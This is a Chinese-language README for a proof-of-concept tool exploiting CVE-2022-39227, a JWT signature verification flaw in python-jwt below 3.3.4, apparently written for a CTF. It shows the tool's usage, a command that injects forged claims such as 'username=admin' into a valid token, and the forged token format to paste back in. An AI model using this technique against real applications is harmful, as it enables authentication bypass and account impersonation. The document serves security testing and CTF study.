CVE-2022-39227 : 概念验证
此 CVE-2022-39227 的概念验证代码。根据该CVE,JSON Web Token验证存在缺陷。可以通过有效的令牌,利用其签名与修改后的声明一起使用。
所需条件:
为了方便使用,我在一次CTF中编写了一个简单的PoC:
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM
Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4
options:
-h, --help show this help message and exit
-j TOKEN, --jwt_token TOKEN
Original and valid JWT Token returned by the application
-i CLAIM, --injected_claim CLAIM
Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
(e.g. username=admin,id=3)
用法:
python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"
返回:
{" <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}
返回值是JSON和紧凑表示法的混合形式。你需要将整个值(包括"{"和"}")粘贴作为你的新JWT Web令牌。